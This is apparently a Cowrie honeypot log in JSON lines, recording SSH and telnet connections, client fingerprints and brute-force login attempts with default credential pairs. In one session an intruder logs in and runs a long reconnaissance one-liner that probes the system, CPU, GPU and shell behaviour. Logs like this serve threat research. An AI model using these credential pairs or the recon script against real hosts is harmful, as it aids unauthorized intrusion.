{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:51.933054Z","src_ip":"209.99.190.113","session":"0dafd4f63395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:52.028971Z","src_ip":"209.99.190.113","session":"0dafd4f63395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hj123456@","message":"login attempt [root/Hj123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:52.448936Z","src_ip":"209.99.190.113","session":"0dafd4f63395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:53.547294Z","src_ip":"209.99.190.113","session":"0dafd4f63395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":39162,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaecc8f1b585","protocol":"ssh","message":"New connection: 160.187.174.22:39162 (159.203.135.109:22) [session: aaecc8f1b585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:55.353968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:55.358654Z","src_ip":"160.187.174.22","session":"aaecc8f1b585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:55.599549Z","src_ip":"160.187.174.22","session":"aaecc8f1b585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:56.331254Z","src_ip":"160.187.174.22","session":"aaecc8f1b585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:57.598053Z","src_ip":"160.187.174.22","session":"aaecc8f1b585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":62996,"dst_ip":"159.203.135.109","dst_port":22,"session":"e513f32f80bc","protocol":"ssh","message":"New connection: 147.45.199.80:62996 (159.203.135.109:22) [session: e513f32f80bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:57.846515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:57.853128Z","src_ip":"147.45.199.80","session":"e513f32f80bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:57.962044Z","src_ip":"147.45.199.80","session":"e513f32f80bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070891","message":"login attempt [root/070891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:58.287969Z","src_ip":"147.45.199.80","session":"e513f32f80bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:32:59.402745Z","src_ip":"147.45.199.80","session":"e513f32f80bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.57046818733215,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:07.929105Z","src_ip":"170.64.224.25","session":"359bc21397dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57930,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e00ed80261","protocol":"telnet","message":"New connection: 170.64.224.25:57930 (159.203.135.109:23) [session: 54e00ed80261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:08.837228Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53604,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9322c71e8f8","protocol":"telnet","message":"New connection: 170.64.224.25:53604 (159.203.135.109:23) [session: f9322c71e8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:22.948494Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45990,"dst_ip":"159.203.135.109","dst_port":22,"session":"f115babe2a40","protocol":"ssh","message":"New connection: 160.187.174.22:45990 (159.203.135.109:22) [session: f115babe2a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:23.546793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:23.550710Z","src_ip":"160.187.174.22","session":"f115babe2a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:23.799878Z","src_ip":"160.187.174.22","session":"f115babe2a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:24.542715Z","src_ip":"160.187.174.22","session":"f115babe2a40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:25.793307Z","src_ip":"160.187.174.22","session":"f115babe2a40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57992,"dst_ip":"159.203.135.109","dst_port":23,"session":"d09f9e9c53a4","protocol":"telnet","message":"New connection: 107.6.151.170:57992 (159.203.135.109:23) [session: d09f9e9c53a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:37.394693Z"}
{"eventid":"cowrie.session.closed","duration":0.004055023193359375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:37.398636Z","src_ip":"107.6.151.170","session":"d09f9e9c53a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":55064,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ad88d73d21c","protocol":"ssh","message":"New connection: 91.92.40.4:55064 (10.17.0.5:22) [session: 8ad88d73d21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:39.389724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:39.394048Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:39.474514Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1q2w3e","message":"login attempt [oracle/1q2w3e] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:39.722500Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.002359Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.004705Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.007757Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.011617Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.015270Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.019469Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.022359Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.025424Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.028803Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.032732Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.035384Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.124520Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:40.206078Z","src_ip":"91.92.40.4","session":"8ad88d73d21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.705026149749756,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:47.542294Z","src_ip":"170.64.224.25","session":"54e00ed80261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34000,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcf9819f603d","protocol":"ssh","message":"New connection: 103.82.132.16:34000 (10.17.0.5:22) [session: bcf9819f603d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:50.198844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:33:50.202759Z","src_ip":"103.82.132.16","session":"bcf9819f603d","protocol":"ssh"}
